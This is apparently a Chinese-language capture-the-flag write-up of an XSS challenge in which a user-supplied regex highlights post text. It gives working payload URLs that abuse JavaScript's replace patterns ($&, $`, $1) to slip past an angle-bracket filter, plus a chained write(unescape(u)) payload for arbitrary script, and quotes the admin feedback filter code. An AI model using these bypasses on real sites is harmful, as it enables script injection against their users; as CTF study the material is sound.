题目是一个用户可以通过传入正则来对选取文章内容进行高亮显示的功能:
过正则校验:不能有尖括号且字符不能超过36
1 | function highlight_word() { |
看文档:
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace
1 | const newStr = str.replace(regexp|substr, newSubstr|function) |
str.replace
有以下几种特殊模式:
第一种:用$&
引用匹配到的<
:1
http://120.79.152.66:65480/posts/6292038b-4fba-4344-af2a-6b92a788d606?highlight=.|$%26svg/onload=alert(1)+
第二种:用$`来获取p标签前边的<
1
http://120.79.152.66:65480/posts/6292038b-4fba-4344-af2a-6b92a788d606?highlight=p|$`svg/onload=alert(1)+
第三种:$n
这种就是用的最多的引用匹配,缺点就是需要带括号
1 | http://120.79.152.66:65480/posts/6292038b-4fba-4344-af2a-6b92a788d606?highlight=(.)|$1svg/onload=alert(1)+ |
漏洞利用:通过write(unescape(u))
来写入当前url来进行任意代码执行:1
http://120.79.152.66:65480/posts/6292038b-4fba-4344-af2a-6b92a788d606?highlight=[$`style onload=write(unescape(u)) ]#?highlight=<script>alert(1)<%2Fscript>
官方解法里还有几个有意思的点:
在feedback提交给管理员不能用/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19<script>
axios.get('?fetch').then(resp => {
for (let i of resp.data) {
let params = new URLSearchParams()
params.set('highlight', i.highlight_word)
if (i.link.includes('/') || i.link.includes('\\')) {
continue; // bye bye hackers uwu
}
let a = document.createElement('a')
a.href = `${i.link}?${params.toString()}`
a.text = `${i.ip}: ${a.href}`
feedback_list.appendChild(a)
feedback_list.appendChild(document.createElement('br'))
}
feedback_list.innerHTML = DOMPurify.sanitize(feedback_list.innerHTML)
}, err => {
feedback_list.innerText = err
})
</script>
bypass:
膜hpdoger!!! 膜出题人